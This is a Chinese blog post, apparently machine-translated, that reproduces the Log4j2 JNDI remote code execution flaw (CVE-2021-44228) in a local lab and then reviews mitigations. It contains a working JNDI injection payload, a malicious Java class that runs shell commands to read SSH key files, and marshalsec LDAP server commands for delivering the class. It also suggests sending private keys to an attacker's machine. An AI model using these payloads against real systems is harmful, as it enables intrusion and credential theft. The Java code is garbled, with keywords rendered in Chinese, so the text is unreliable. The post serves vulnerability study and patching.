当前位置: 首页 > 后端技术 > Java

log4j2远程代码执行漏洞.md

时间:2023-04-01 17:57:53 Java

上期总结上周ApacheLog4j2爆出高危漏洞(CVE-2021-44228):Log4j2组件存在JNDI注入漏洞,利用门槛为脆弱性低。在服务器上执行任意代码。Log4j2组件是一个开源的Java日志框架,广泛应用于中间件、开发框架和Web应用程序中,用于记录日志信息。因此,该漏洞影响范围广泛,公司要求对该漏洞进行彻底的代码审查和修复。远程代码执行漏洞复现实验环境MacOS操作系统Python环境本DEMO在JAVA8环境下执行,其他版本自行验证log4j2日志库,影响版本范围log4j-core版本>=2.0-beta9和<=2.14.1`重现漏洞新建一个普通的maven工程,在pom.xml中引入log4j-core和log4j-api的jar包,指定版本为2.13.34.0.0org.examplecve-2021-44228-log4j-exploits1.0-SNAPSHOT1.81.8org.apache.logging.log4jlog4j-core2.13.3org.apache.logging.log4jlog4j-api2.13.3然后在java目录下创建Hack.java,内容为如下:importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;/***@authorcat*/publicclassHack{privatestaticfinalLoggerlogger=LogManager.getLogger(Hack.班级);publicstaticvoidmain(String[]args){System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");}}这个文件模拟了使用log4j2的web服务程序由于使用Java开发的后端服务大多是Web服务,用户可以通过Web表单提交输入内容。用于调试需求,例如:当restful接口出现运行时异常时,用户通过logger.error打印异常时提交。参数,那么它会被直接招募。接下来搭建一个LDAP服务器+http服务器(用于远程执行攻击代码,两者都在攻击者的电脑上),选择另外一个目录http-server(区别于Hack.java)。代码目录结构如下:创建Log4jRCE.java文件。这个文件就是我们要在远程服务器上执行的攻击代码。我们可以尝试通过这个文件来调用系统命令。这里我们以Mac电脑SSH公钥的输出为例。导入java.io.BufferedReader;导入java.io.IOException;导入java.io.InputStream;导入java.io.InputStreamReader;公共类Log4jRCE{publicLog4jRCE(){}static{System.out.println("我是Log4jRCE来自远程!!!”);String[]var1=newString[]{"cat","/Users/jingbo/.ssh/id_rsa.pub"};尝试{Processvar0=Runtime.getRuntime().exec(var1);InputStreamvar2=var0.getInputStream();InputStreamReadervar3=newInputStreamReader(var2);BufferedReadervar4=newBufferedReader(var3);字符串var5=null;while((var5=var4.readLine())!=null){System.out.println(var5);}}catch(IOExceptionvar6){var6.printStackTrace();然后编译这个类得到字节码文件Log4jRCE.class,命令如下:javacLog4jRCE.java然后在这个文件所在的http-server目录下打开终端控制台,启动那个http服务器Python自带,然后通过git下载Apache-Log4j-Learning和执行tools工具启动LDAP服务器gitclonehttps://github.com/bkfish/Apache-Log4j-Learning.gitcdApache-Log4j-Learning/toolsjava-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer"http://127.0.0.1:8000/#Log4jRCE"然后运行Hack.java模拟注入攻击。服务端使用log4j2输出日志结果:可以看到服务端已经输出了本机的公钥。当然,这没有多大意义,但是如果我们的Log4jRCE逻辑是通过网络通信将私钥发送到指定的服务器(攻击者的电脑),或者将攻击者的SSH公钥写入Authorized_keys文件,那么就会存在极其严重的安全问题。总结一下攻击过程,攻击者在web表单的输入框中输入注入攻击语句。提交表单时,使用服务器端的Log4j框架作为日志输出。中的语句作为命令执行。攻击者的注入攻击语句解析后会先访问ldap服务器,然后ldap解析出我们想要的Log4jRCE的文件名,ldap请求HTTP服务器获取这个文件,最后网站服务器在本地实例化并执行java类,即攻击者的攻击脚本被执行。验证网上的临时解决方案启动jvm参数-Dlog4j2.formatMsgNoLookups=true设置log4j2.formatMsgNoLookups=True在系统环境变量中,设置FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS为true经过自己验证测试,发现各大厂商给出的解决方案都是错误的,包括网上至今还有大量的错误。首先,区分版本。环境变量方法在2.10以下版本无效(以上三种方法均无效)。2.10以上版本,系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true,无效(不信的朋友可以自行验证)。LOG4J_FORMAT_MSG_NO_LOOKUPS环境变量有效。官方推荐的修复方案https://logging.apache.org/lo...根据官方文档的说明,临时需要不修改log4j2版本的临时解决方案:JndiLookup需要从classpath中移除2.10classzip-q-dlog4j-core-*.jarorg/apache/logging/log4j/core/lookup/JndiLookup.class2.10及以上版本,设置系统参数log4j2.formatMsgNoLookups=true和环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS=不错,不过官方还是强烈建议大家升级log4j2,最新版本是2.15.0总结本文漏洞demo复现代码我已经上传到github,大家可以自行下载实验(本demo只是为了复现问题,请勿用于其他非法用途)https://github.com/lov3r/cve-...还有一个建议给大家:在工作和学习的过程中,不要认为自己在网上看到的就是正确的,对任何事情和问题都要保持怀疑的心,做自己多验证本文由博客和文章多发平台OpenWrite发布!